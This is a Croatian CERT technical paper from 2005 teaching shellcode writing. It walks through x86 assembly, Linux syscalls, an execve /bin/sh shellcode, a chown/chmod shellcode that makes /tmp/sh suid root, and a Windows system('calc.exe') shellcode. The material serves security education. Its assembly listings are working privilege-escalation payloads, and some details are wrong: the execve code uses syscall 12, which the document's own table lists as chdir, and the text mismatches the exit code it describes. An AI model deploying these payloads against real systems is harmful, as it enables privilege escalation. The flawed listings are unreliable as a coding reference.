HRVATSKA AKADEMSKA I ISTRAŽIVAČKA MREŽA
CROATIAN ACADEMIC AND RESEARCH NETWORK

# Izrada shellcode programa

**CCERT-PUBDOC-2005-06-126**

CARNet CERT u suradnji s LS&S

Sigurnosni problemi u računalnim programima i operativnim sustavima područje je na kojem CARNet CERT kontinuirano radi.
Rezultat toga rada ovaj je dokument koji je nastao suradnjom CARNet CERT-a i LS&S-a, a za koji se nadamo se da će Vam koristiti u poboljšanju sigurnosti Vašeg sustava.

**CARNet CERT**, www.cert.hr - nacionalno središte za **sigurnost računalnih mreža** i sustava.

***LS&S***, **www.lss.hr**- laboratorij za sustave i signale pri Zavodu za elektroničke sustave i obradbu informacija Fakulteta elektrotehnike i računarstva Sveučilišta u Zagrebu.

# Sadržaj

# 1. Uvod

Sigurnosni propusti temeljeni na preljevu spremnika odnosno memorijskim ranjivostima dobro su poznati. Nakon što pomoću preljeva spremnika neovlašteni korisnik preusmjeri tok izvršavanja programa, izvršavanje programa se uglavnom nastavlja na memorijskim adresama na kojima se nalazi programski kod neovlaštenog korisnika. Taj programski kod se u praksi naziva *shellcode* i u memoriju se uglavnom ubacuje putem legitimnih upita odnosno predaje korisničkog unosa ranjivoj aplikaciji. *Shellcode* program se sastoji od niza asemblerskih instrukcija koje uglavnom obavljaju neku nedozvoljenu radnju pod privilegijama programa u kojem se ranjivost iskorištava. Ovisno o situaciji, *shellcode* programi uglavnom otvaraju korisničku ljusku, preuzimaju i pokreću program putem nekog od mrežnih servisa, ili kreiraju kopiju korisničke ljuske sa administratorskim ovlastima.

Za *shellcode* programe poželjno je da budu što manji i što učinkovitiji. To je dovelo do intelektualnog nadmetanja između samih hakera što je rezultiralo iznimno malim i vrlo učinkovitim *shellcode* programima. Tako danas možemo pronaći *shellcode* program koji pokreće korisničku ljusku veličine svega 23 bajta, dok je prvi objavljeni *shellcode* iste namjene imao oko 46 bajtova. Za *shellcode* programe također je vrlo bitno da ne sadrže '\0' (`NULL`) bajtove koji označavaju kraj znakovnog niza i prekidaju kopiranje stringa prije stvarnog kraja *shellcode* programa.

Također, u zadnje vrijeme iznimno su popularni tzv. *syscall-proxy shellcode* programi koji neovlaštenom korisniku omogućavaju izvršavanje proizvoljnih sistemskih poziva, što rezultira fleksibilnim iskorištavanjem sigurnosnog propusta. Spomenute *syscall-proxy* tehnike opisane su u tekstu *„Remote exec“,* objavljenom u 62 izdanju Phrack magazina kojeg je moguće pronaći na adresi http://www.phrack.org/show.php?p=62&a=8.

Pojavom novih tehnologija kao što su različite hardverske i softverske zaštite, koje sprječavaju izvršavanje programskog koda na stogu (*engl. stack*) i hrpi (*engl. heap*), može se pretpostaviti da će *shellcode* programi u budućnosti sigurno izumrijeti, no to se još neće dogoditi u nekoliko narednih godina. Primjer takve zaštite na hardverskoj razini (sa obvezatnom softverskom podrškom) je `NX` tehnologija (http://en.wikipedia.org/wiki/NX_bit), dok na softverskoj razini istu funkciju obavlja `PaX` zaštita, odnosno `Grsecurity` zakrpa (http://pax.grsecurity.net/) za Linux jezgru. Umjesto korištenja *shellcode* programa, u budućnosti će se iskorištavanje ranjivosti preljeva spremnika najvjerojatnije bazirati na *ret-into-libc* tehnikama i na iskorištavanju samog programskog koda odnosno logike programa.

U dokumentu su opisani principi izrade jednostavnih *shellcode* programa na Linux i Windowsim operacijskim sustavima, te izrada *shellcode* programa koji zaobilaze filtere koji se ponekad mogu pronaći u ranjivim aplikacijama. Važno je napomenuti da u određenim, vrlo rijetkim, slučajevima iskorištavanja preljeva spremnika *shellcode* program nije ni potreban, jer iskorištavanje logike programa može dovesti do izvršavanja dodatnih naredbi po želji neovlaštenog korisnika. Primjer za to je popularni Morrisov Internet crv koji je pri iskorištavanju preljeva spremnika u `fingerd` servisu samo prepisao naredbu koja će se izvršiti unutar *system()* poziva. Za bolje razumijevanje dokumenta preporuča se poznavanje osnova `x86` asemblera.

# 2. Osnove asemblerskog jezika

Kao što je spomenuto na kraju uvodnog poglavlja, poznavanje asemblera nužno je za izradu *shellcode* programa. U ovom poglavlju analizirane su osnove x86 arhitekture na 32-bitnim procesorima.

## 2.1. Registri u procesoru

Svaka procesorska arhitektura sadrži određeni set registara za operacije nad podacima i izvođenje programa. Registri su male memorije unutar procesora koje služe za privremenu pohranu podataka. IA-32 procesori sadrže nekoliko registara od kojih su neki opće namjene, a neki imaju specifičnu primjenu. Imena nekih važnijih registara i njihova namjena objašnjeni su u nastavku.

| Kratica | Naziv | Namjena |
|---|---|---|
| **EAX** | Akumulator | koristi se za aritmetičke operacije, prekide, I/O komunikaciju. Ovaj registar se također koristi za određivanje sistemskog poziva prilikom |

| | | |
|---|---|---|
| | | prekida i za predavanje povratne vrijednosti nakon povratka iz funkcije |
| **EBX** | Bazni registar | koristi se uglavnom kao bazni pokazivač za pristup memoriji |
| **ECX** | Brojač | koristi se uglavnom kao brojač u petljama |
| **EDX** | Podatkovni registar | namjena mu je slična kao i EAX registru |
| **ESI** | Izvorišni registar | koristi se za operacije sa znakovnim nizovima i općenito memorijom (kopiranje, usporedba, itd.) |
| **EDI** | Odredišni registar | koristi se za operacije sa znakovnim nizovima i općenito memorijom (kopiranje, usporedba, itd.). EDI i ESI se uglavnom koriste u kombinaciji. |
| **EBP** | Bazni pokazivač (okvirni pokazivač) | - služi za alokaciju nekog memorijskog prozora (*engl. frame*) unutar stoga. |
| **ESP** | Pokazivač stoga | - ovaj registar u svakom trenutku pokazuje na vrh stoga. |
| **EIP** | Instrukcijski pokazivač | – *offset* koji pokazuje na memorijsku adresu na kojoj se nalazi sljedeća procesorska instrukcija koja će se izvršiti. |

Važno je napomenuti da su samo `EAX, EBX, ECX i EDX` registri opće namjene, dok svi drugi registri imaju neku specifičnu namjenu. Kao što je vidljivo iz tablice, svi registri imaju prefiks '`E`', što znači da se radi o 32-bitnim produženim (engl. *extended*) registrima. U 32-bitne registre mogu se stavljati i 8 odnosno 16-bitne vrijednosti, no u tom slučaju se pristupa nižim dijelovima produženog registra. Npr. niži dijelovi `EAX` registra su `AX` (16-bitna vrijednost), te 8-bitni `AH` (*engl. High*) i `AL` (*engl. Low*), za `EBX` registar to su `BX, BH i BL`, itd.

Neki od prije navedenih registara kombiniraju se sa tzv. segmentnim registrima da bi se pristupilo određenoj memorijskoj adresi, pa ti registri služe kao *offset* za određenu memorijsku lokaciju unutar nekog segmenta. U nastavku su navedeni segmentni registri i registri koji se sa njima kombiniraju.

| Ime | Registar sa kojim se kombinira |
|---|---|
| CS (Code Segment) | EIP |
| DS (Data Segment) | ESI ili EDI |
| SS (Stack Segment) | ESP ili EBP |
| ES (Extra Segment) | EDI |

Važno je napomenuti da postoje i neki specijalni registri koji u zaštićenom (*engl. protected*) stanju procesora programeru nisu dostupni. Procesor također sadrži posebni `EFLAGS` registar koji sadrži zastavice koje opisuju trenutno stanje procesora i rezultat zadnjih izvršenih instrukcija.

## 2.2. Procesorske instrukcije

Da bi se nekom procesoru mogla zadati određena operacija, mora postojati standardizirani niz instrukcija koje će procesor prepoznavati i izvršiti. U nastavku su navedene i objašnjene samo neke osnovne instrukcije potrebne za izradu *shellcode* programa. Važno je napomenuti da postoje dvije sintakse za x86 asembler. To su tzv. Intelova i AT&T sintaksa. Zbog jednostavnosti i raširenosti, u ovom dokumentu ćemo koristiti sintaksu koju je osmislio `Intel`.

| Sintaksa | Opis |
|---|---|
| `INC (operand)` | Uvećava vrijednost operanda za jedan. |
| `DEC (operand)` | Umanjuje vrijednost operanda za jedan. |
| `MOV (odredište),(ishodište)` | Premješta vrijednost sa ishodišta na odredište. |
| `LEA (odredište),(ishodište)` | Učitava efektivnu adresu ishodišta u odredište. |
| `ADD (odredište),(ishodište)` | Zbraja operande ishodišta i odredišta, a rezultat se nalazi na odredištu. |
| `SUB (odredište),(ishodište)` | Oduzima operande ishodišta i odredišta, a rezultat se nalazi na odredištu. |
| `PUSH (operand)` | Stavlja operand na stog |
| `POP (operand)` | Uzima prvu vrijednost sa stoga i pohranjuje ju u operand. |
| `XCHG (operand1),(operand2)` | Mijenja mjesta operandima |
| `JMP (operand)` | Mijenja tok izvršavanja programa promjenom EIP registra tako da pokazuje na operand. |
| `CMP (operand1), (operand2)` | Uspoređuje operande i postavlja odgovarajuću zastavicu ovisno |

| | |
|---|---|
| | o rezultatu |
| XOR (odredište), (ishodište) | Obavlja Isključivo-ILI operaciju sa odredištem i ishodištem, a rezultat je pohranjen u odredištu. |
| NOP | Instrukcija koje ne obavlja nikakvu operaciju, već samo troši procesorsko vrijeme. |
| CALL (operand) | Poziva funkciju na adresi koju uzima iz operanda |
| INT (broj) | Prekida izvršavanje tekućeg programa i poziva prekidnu rutinu |
| RET | Služi za povratak iz funkcija. Uzima pohranjenu vrijednost EIP registra sa stoga i usmjerava izvršavanje programa na tu adresu. |

U nastavku je prikazan jednostavan program napisan u asembleru koji zbraja brojeve od 1 do 10 i konačnu sumu ostavlja u EAX registru. U programu je izveden jednostavan trik koji se koristi u *shellcode* programima da se izbjegne pojava '\0' (NULL) bajta. Registri EAX i ECX su na početku postavljeni na nulu tako što je nad njima obavljena Isključivo-ILI (XOR) operacija.

```
xor eax, eax
xor ecx, ecx
rep_me:
inc ecx
add eax,ecx
cmp ecx, 10
jne rep_me
```

Kao što je vidljivo iz primjera, program uvećava vrijednost ECX registra od 1 do 10 i pri svakom uvećavanju vrijedost ECX registra ADD instrukcijom dodaje na već postojeću vrijednost EAX registra. Nakon zbrajanja CMP instrukcijom se ispituje da li je vrijednost ECX registra 10. Ukoliko je tvrdnja istinita, program završava, a u suprotnom vraća se na rep_me labelu.

U nastavku je prikazan sličan program koji vrijednost EAX registra uvećava do 20. Samo uvećavanje vrijednosti EAX registra izvedeno je preko funkcije 'func' koja se poziva CALL instrukcijom.

```
xor eax, eax
xor ecx, ecx
rep_me:
call func
cmp eax, 20
jne rep_me
jmp exit_prog
func:
inc eax
ret

exit_prog:
```

U ovom primjeru instrukcija CALL poziva funkciju 'func'. Prilikom izvršavanja instrukcije CALL, na stog se pohranjuje adresa sljedeće instrukcije iza instrukcije CALL. U ovom slučaju to je instrukcija 'CMP EAX,20'. Nakon izvršavanja funkcije i pozivanja instrukcije RET, izvršavanje programa se nastavlja na prije spomenutoj instrukciji 'CMP EAX,20'.

# 3. Linux shellcode programi

Iako su osnovni principi slični, svaki različiti operativni sustav i procesorska arhitektura zahtijeva drugačiji *shellcode* program. U ovom poglavlju opisana je izrada shellcode programa na Linux operacijskom sustavu. Svi primjeri Linux *shellcode* programa mogu se prevesti i testirati pomoću NASM prevoditelja (http://nasm.sourceforge.net/wakka.php?wakka=HomePage).

## 3.1. Sistemski pozivi

Svaki operativni sustav programeru pruža određeni set API (engl. ***A**pplication **P**rogramming **I**nterface*) funkcija koje obavljaju određene operacije. Te API funkcije predstavljaju sistemske pozive koji mogu služiti npr. za otvaranje datoteka, kreiranje procesa, mijenjanje tekućeg direktorija, itd. Sistemski pozivi u Linuxu rade se tako da se pozove prekidni vektor 'int 0x80' koji izvršavanje programa prebacuje u jezgru (*engl. kernel*) operativnog sustava. Važno je napomenuti da kod Linuxa postoji tzv.

korisnički memorijski prostor i memorijski prostor jezgre. Korisničke aplikacije izvršavaju se u trećem prstenu (engl. *ring* ), dok se programski kod jezgre izvršava u privilegiranom nultom prstenu (engl. *ring*). Prilikom sistemskog poziva, prekidni vektor '`int 0x80`' izvršavanje programa prebacuje iz trećeg u nulti prsten. Sistemski pozivi na Linuxu određeni su brojevima. U nastavku je priloženo nekoliko bitnijih sistemskih poziva i pripadajući im brojevi.

**/usr/include/asm/unistd.h**

```
#define __NR_exit                  1
#define __NR_fork                  2
#define __NR_read                  3
#define __NR_write                 4
#define __NR_open                  5
#define __NR_close                 6
...
#define __NR_execve               11
#define __NR_chdir                12
...
#define __NR_chmod                15
...
#define __NR_setuid               23
...
#define __NR_setreuid             70
#define __NR_setregid             71
...
#define __NR_chown               182
...
```

Pozivanje sistemskog poziva prilično je jednostavno i radi se tako da se sam broj sistemskog poziva stavi u `EAX` registar, a argumenti u registre `EBX`, `ECX` i `EDX`. Argumenti se u registre stavljaju tako da se prvi argument stavi u `EBX`, drugi u `ECX` i treći u `EDX` registar. Nakon toga se poziva prije spomenuti prekidni vektor `0x80` i jezgra počinje sa obradom sistemskog poziva. Za primjer izvršavanja sistemskog poziva, u nastavku je prikazan jednostavan program napisan u C programskom jeziku koji izvršava sistemski poziv `exit()`.

**Exit.c**

```
#include <stdio.h>

main (int argc, char **argv)
{
       exit(2);
}
```

Prilikom pozivanja sistemskog poziva `exit(0)`, u `EAX` registar se stavlja broj sistemskog poziva koji je u ovom slučaju 1. S obzirom da `exit()` uzima samo jedan argument, a to je statusni broj za `exit()` funkciju, u registar `EBX` se stavlja taj statusni broj koji je u ovom slučaju isto 1. Nakon toga se poziva prekidni vektor `0x80` i sistemski poziv se izvršava. U nastavku je priložen isti program napisan u asembleru.

**Exit.asm**

```
Section .text

       global _start
_start:

xor ebx, ebx
xor eax, eax
inc ebx
inc eax
int 0x80
```

Kao što je vidljivo iz primjera, na početku su Isključivo-ILI operacijom `EAX` i `EBX` registri postavljeni na nulu. Nakon toga je svaki od njih uvećan (inkrementiran) za jedan. `EAX` registar sada sadrži broj sistemskog poziva `exit()` koji je 1, a `EBX` statusni broj koji je u ovom slučaju isto 1. Nakon prekidne

instrukcije '`int 0x80`', sistemski poziv se izvršava. Prevođenje programa pomoću popularnog `NASM` prevoditelja za asembler je prikazano u nastavku.

```
ljuranic@t-rex:~$ nasm -f elf exit.asm
ljuranic@t-rex:~$ ld -o exit exit.o
```

Kao što je već napomenuto, za *shellcode* programe vrlo je bitno da ne sadrže '\0' (`NULL`) bajtove koji označavaju kraj znakovnog niza. *Shellcode* sadrži `NULL` bajtove ako se unutar samo programa u asembleru koriste vrijednosti koje u sebi sadrže nulu. Npr. instrukcija '`mov EAX, 0`' će uzrokovati da *shellcode* u sebi sadrži `NULL` bajtove, jer u `EAX` registar stavlja vrijednost 0. Umjesto direktnog korištenja `NULL` bajta, registre je moguće postaviti na nulu korištenjem Isključivo-ILI operacije kao što je prikazano u prethodnim primjerima.

Instrukcija '`mov eax, 1`' će također sadržavati `NULL` bajtove, jer se u 32-bitni `EAX` registar stavlja 8-bitna vrijednost 1 koja se pretvara u 0x00000001. Umjesto '`mov eax, 1`', potrebno je koristiti niži dio `EAX` registra odnosno `AL`, čime se izbjegava pojava `NULL` bajta. Ispravna instrukcija je '`mov al, 1`'. U ovakvim slučajevima još je bolje koristiti instrukciju `INC`, jer zauzima manje bajtova od instrukcije `MOV`, što je vrlo važno za *shellcode* program.

Nakon što je shellcode program preveden, potrebno je dobiti operacijski kod (*engl. opcode*) prije napisanih asemblerskih instrukcija. Dobivanje operacijskog koda je prikazano u nastavku.

```
root@t-rex:~# gdb ./exit
...
(gdb) disass _start
08048080 <_start>:
 8048080:       31 db                   xor    %ebx,%ebx
 8048082:       31 c0                   xor    %eax,%eax
 8048084:       43                      inc    %ebx
 8048085:       40                      inc    %eax
 8048086:       cd 80                   int    $0x80
(gdb)
(gdb) x/8b _start
0x8048080 <_start>:    0x31    0xdb    0x31    0xc0    0x43    0x40    0xcd    0x80
```

Žuto označena linija predstavlja operacijski kod pozivanja sistemskog poziva `exit()`. Operacijski kod asemblerskih instrukcija predstavlja u biti sam *shellcode* program. Prevedeno u sintaksu programskog jezika C, taj *shellcode* izgleda ovako „\x31\xdb\x31\xc0\x43\x40\xcd\x80“.

## 3.2. execve() *shellcode*

Pri iskorištavanju lokalnih sigurnosnih propusta preljeva spremnika, neovlaštenom korisniku je uglavnom cilj izvršiti neki svoj program pod ovlastima programa u kojem iskorištava ranjivost. Za pokretanje novih programa na Linuxu postoji sistemski poziv `execve()`. Većina lokalnih *shellcode* programa pokreće novu korisničku ljusku (npr. `/bin/sh`) koja se pri iskorištavanju preljeva spremnika pokreće pod privilegijama programa u kojem se ranjivost iskorištava. U nastavku je prikazan jednostavan C program koji poziva `execve()` sistemski poziv i pokreće novu korisničku ljusku.

**Execve.c**

```
#include <stdio.h>
#include <unistd.h>

main ()
{
        char *buf[2];
        buf[0] = "/bin/sh";
        buf[1] = NULL;
        execve (buf[0],buf,NULL);
}
```

Kao što je vidljivo iz primjera, program alocira dva znakovna pokazivača od kojih prvi pokazuje na program koji će se izvršiti, a drugi je `NULL` pokazivač. Pri pozivanju samo `execve()` sistemskog poziva, prvi argument je adresa na kojoj se nalazi znakovni niz koji označava putanju do programa koji će se izvršiti, drugi argument je adresa na kojoj se nalaze prije spomenuti pokazivači i zadnji je `NULL` pokazivač. Radi jednostavnosti, *shellcode* program je pisan po uzoru na primjer iz knjige „*Shellcoders Handbook*“. *Shellcode* sa komentarima za svaku instrukciju je priložen u nastavku.

**Execve.asm**

```
Section .text

        global _start

_start:

jmp short push_string_addr

execute_it:

xor eax, eax        ; postavljanje općih registara na nulu
xor ebx, ebx
xor ecx, ecx
xor edx, edx

pop esi             ; uzimanje adrese /bin/sh stringa sa stoga

mov byte [esi+7],al ; terminiranje stringa '\0' bajtom

mov [esi+8], esi    ; kreiranje argv[] strukture
mov [esi+12], eax   ;

mov ebx, esi        ; prvi argument execve() funkciji - /bin/sh

lea ecx, [esi+8]    ; drugi argument za execve - pointer na argv[] strukturu
lea edx, [esi+12]   ; treci argument za execve - NULL

mov al, 12          ; postavljanje sistemskog poziva
int 0x80            ; prekid i izvršavanje sistemskog poziva


push_string_addr:
call execute_it     ; povratak u glavni tok programa
db '/bin/sh#$$$$XXXX'
```

Kao što je vidljivo iz primjera, program prvo skače na `push_string_addr` labelu nakon koje se nalazi `CALL` instrukcija koja izvršavanje programa vraća natrag na `execute_it` labelu. Kao što je prikazano u prethodnim primjerima, prilikom poziva `CALL` instrukcije, ona na stog stavlja adresu sljedeće instrukcije. S obzirom da je iza `CALL` instrukcije string "`/bin/sh#$$$$XXXX`", na stog će biti stavljena adresa tog stringa. Ovaj slijed operacija je vrlo bitan, jer se tako na vrhu stoga dobiva adresa prije spomenutog stringa koja je bitna za `execve()` sistemski poziv. Nakon što se izvršavanje programa nastavlja na `execute_it` labeli, opći registri su Isključivo-ILI operacijom postavljeni na nulu. Nakon toga se sa stoga uzima adresa "`/bin/sh#$$$$XXXX`" znakovnog niza i pohranjuje se u `ESI` registar. Iduća instrukcija u memoriji iza stringa "`/bin/sh`" na mjesto znaka '#' stavlja `NULL` bajt što označava kraj stringa. Nakon toga se kreira `argv[]` „struktura" koja je u prije priloženom C programu bila prikazana kao '`char *buf[2]`'. Na memorijsku lokaciju `[ESI+8]` (znakovi $$$$ iza stringa "`/bin/sh`") se stavlja pokazivač na niz "`/bin/sh`", a na lokaciju `[ESI+12]` (znakovi XXXX iza stringa "`/bin/sh`") `NULL` pokazivač. Sada je sve spremno za popunjavanje općih registara sa argumentima `execve()` sistemskog poziva. U registar `EBX` stavlja se adresa niza "`/bin/sh`", u registar `ECX` se stavlja adresa `[ESI+8]` na kojoj se nalaze pokazivači na "`/bin/sh`" i `NULL`, a na kraju se u `EDX` registar stavlja `NULL` pokazivač na adresi `[ESI+12]`. Za samo pozivanje sistemskog poziva, u `EAX` registar se stavlja broj `execve()` sistemskog poziva koji je 12 i poziva se prekidni vektor 0x80.

## 3.3. chown()/chmod() shellcode

U nekim slučajevima je zbog radnji koje obavlja ranjiv program teže direktno dobiti interaktivnu korisničku ljusku, pa se u svrhu eskaliranja privilegija koriste *shellcode* programi drugog tipa. U tom slučaju *shellcode* može npr. promijeniti ovlasti i dozvole na nekom drugom programu koji će neovlaštenom korisniku opet omogućiti eskaliranje privilegija. U tu svrhu razvijen je `chown/chmod` *shellcode* program koji postavlja `suid root` bit na program `/tmp/sh` koji može biti npr. korisnička ljuska. Sistemski poziv `chown()` služi za promjenu vlasnika neke datoteke odnosno programa na

sistemu, dok `chmod()` služi za promjenu prava pristupa nekoj datoteci odnosno programu. U nastavku je priložen jednostavni C program koji obavlja tu operaciju.

**chown_chmod.c**

```
#include <stdio.h>

main (int argc, char **argv)
{
       chown ("/tmp/sh",0,0);
       chmod ("/tmp/sh",06777);
}
```

Prvi argument `chown()` sistemskom pozivu je znakovni niz, odnosno putanja do datoteke čiji vlasnik se mijenja. Drugi i treći argument su `UID` (*engl.* User ID) i `GID` (engl. *Group ID*) novog vlasnika datoteke. Sistemski poziv `chmod()` za prvi argument također uzima znakovni niz, odnosno putanju do datoteke čija prava pristupa se mijenjaju, dok je drugi argument novo pravo pristupa za datoteku.
*Shellcode* koji obavlja istu operaciju kao i prethodni C program je prikazan u nastavku.

**Chown_chmod.asm**

```
Section .text

       global _start

_start:

xorl eax, eax          ; postavljanje općih registara na nulu
xorl ebx, ebx
xorl ecx, ecx
xorl edx, edx

push edx               ; postavljanje vrijednosti 0x00000000 na stog
push 0x68732f70       ; postavljanje stringa "/tmp/sh" na stog preko
push 0x6d742f2f       ; heksadecimalnih ASCII vrijednosti

lea ebx,[esp]          ; učitavanje adrese stringa "/tmp/sh" u EBX
mov al, 182            ; postavljanje sistemskog poziva chown()
int 0x80              ; pozivanje sistemskog poziva

lea ebx, [esp]         ; postavljanje adrese stringa "/tmp/sh" u EBX
mov cx, 0xdff         ; postavljanje 06777 dozvola u drugi argument
mov al, 15            ; postavljanje sistemskog poziva chmod()
int 0x80               ; pozivanje sistemskog poziva
```

Priloženi *shellcode* program nešto je drugačiji od ranijeg `execve()` primjera. Za dobivanje adrese na kojoj se nalazi znakovni niz "`/tmp/sh`" sa kojim se vrše operacije ne koristi se `JMP/CALL` trik kao u `execve()` primjeru, već se koristi direktno postavljanje niza na stog pomoću `PUSH` instrukcije. Prije postavljanja samog niza, na stog se pohranjuje vrijednost 0x00000000 kako bi niz bio završen (terminiran). Znakovni niz "`/tmp/sh`" se sada nalazi na vrhu stoga i za njegovo referenciranje može se koristiti `ESP` registar koji uvijek pokazuje na vrh stoga. Registri `ECX` i `EDX` (drugi i treći argument) sadrže nulu, što znači da će pri pozivu `chown()` sistemskog poziva novi vlasnik datoteke biti `root` korisnik. U `EBX` registar pohranjuje se vrijednost `ESP` registra koji pokazuje na niz "`/tmp/sh`". Nakon toga se u `EAX` registar pohranjuje vrijednost 182 koja predstavlja sistemski poziv `chown()` i poziva se prekidni vektor `0x80`. Novi vlasnik "`/tmp/sh`" datoteke sada je `root`.
Nakon sistemskog poziva `chown()`, u `EBX` registar se opet pohranjuje vrijednost `ESP` registra koji pokazuje na string "`/tmp/sh`", a u `ECX` registar vrijednost `0xdff` (06777), koja će postaviti maksimalne dozvole, te `suid root` i `sgid root` bitove. U `EAX` registar postavlja se broj 15 koji je vrijednost sistemskog poziva `chmod()`, a nakon toga se poziva prekidni vektor `0x80`.

## 4. Windows shellcode program

Izrada *shellcode* programa za Windows operacijske sustave zbog samog koncepta sustava relativno je drugačija od Linux *shellcode* programa. Primjer u dokumentu baziran je na Windows XP operacijskom sustavu kod kojeg se API funkcije pozivaju direktno preko njihovih adresa koje eksportiraju određeni `DLL` (*engl. **D**ynamic **L**ink **L**ibrary*) moduli. Važno je napomenuti da bi teoretski za svaku verziju Windows operacijskog sustava i svaku sigurnosnu zakrpu (engl. *Service Pack*) trebao drugačiji *shellcode*. Posljednjih nekoliko godina razvijeno je dosta novih generičkih metoda izrade Windows *shellcodeova* koji uklanjaju spomenutu potrebu za različitim *shellcodeovima*. Zbog općenite kompleksnosti Windows *shellcode* programa i potrebe poznavanja internih struktura Windowsa, u ovom poglavlju će biti prikazan samo najjednostavniji *shellcode* koji pokreće korisničku ljusku. Prije nego što *shellcode* pozove određenu API funkciju, potrebno je poznavati njenu adresu. To se radi pomoću `GetProcAddress()` i `LoadLibrary()` API funkcija. Generički Windows *shellcode* to u osnovi radi sam tako što traži baznu adresu `kernel32.dll` biblioteke i nakon toga listu eksportanih funkcija odnosno njihove adrese. Nakon što pronađe `GetProcAddress()` funkciju, otkrivanje adresa ostalih API funkcija je jednostavno. U ovom jednostavnom *shellcode* programu poziva se `system()` funkcija koja pokreće standardni Windows kalkulator (`calc.exe`). Adresa `system()` funkcije koju eksportira `msvcrt.dll` biblioteka je u ovom slučaju statički uključena u sam *shellcode* i ona je 0x77c28044.

**Win_calc.asm**

```
Section .text

global _start

_start:

xor eax,eax
push eax
push 0x2e657865          ; '.exe'
push 0x63616c63          ; 'calc'

push esp                 ; adresa stringa 'calc.exe'
mov  edx, 0x77c28044     ; msvcrt.system
call edx
```

Na početku se vrijednost `EAX` registra postavlja na nulu. Nakon toga se tehnikom prikazanom u `chown/chmod` *shellcodeu* na stog stavlja sam '`calc.exe`' znakovni niz. Funkcija `system()` uzima argument koji je pokazivač na znakovni niz, a predstavlja program koji treba izvršiti. Iz tog razloga se na stog stavlja adresa '`calc.exe`' niza koja se nalazi u `ESP` registru. Na kraju se u `EDX` registar stavlja adresa `system()` funkcije koja se kasnije poziva `CALL` instrukcijom. U nastavku je prikazano prevođenje programa.

```
C:\nasm\NASM-0~1.39>nasmw -f win32 ca.asm
C:\nasm\NASM-0~1.39>link /SUBSYSTEM:WINDOWS /ENTRY:start ca.obj
```

## 5. Zaključak

Izrada *shellcode* programa nije nimalo jednostavan postupak, i kao što je moguće vidjeti iz sadržaja dokumenta zahtijeva priličnu razinu znanja i iskustva. Budući da izrada *shellcode* programa predstavlja osnovu za pisanje složenijih *exploit* programa, njihovo poznavanje svakako je važno za sigurnosne stručnjake koji se bave istraživanjem na području računalne sigurnosti. Također, specifične ranjivosti vrlo često zahtijevaju izradu posebnih *shellcode* programa, za što je potrebno prilično razumijevane tehnika koje su u ovom području koriste.

## 6. Reference

[1] Jack Koziol, "Shellcoder's Handbook"
[2] The Metasploit Project, http://www.metasploit.org/
[3] Advances in Windows Shellcode, http://www.phrack.org/show.php?p=62&a=7

[4] Building ptrace injecting shellcodes, http://www.phrack.org/show.php?p=59&a=12
[5] UTF8 Shellcode, http://www.phrack.org/show.php?p=62&a=9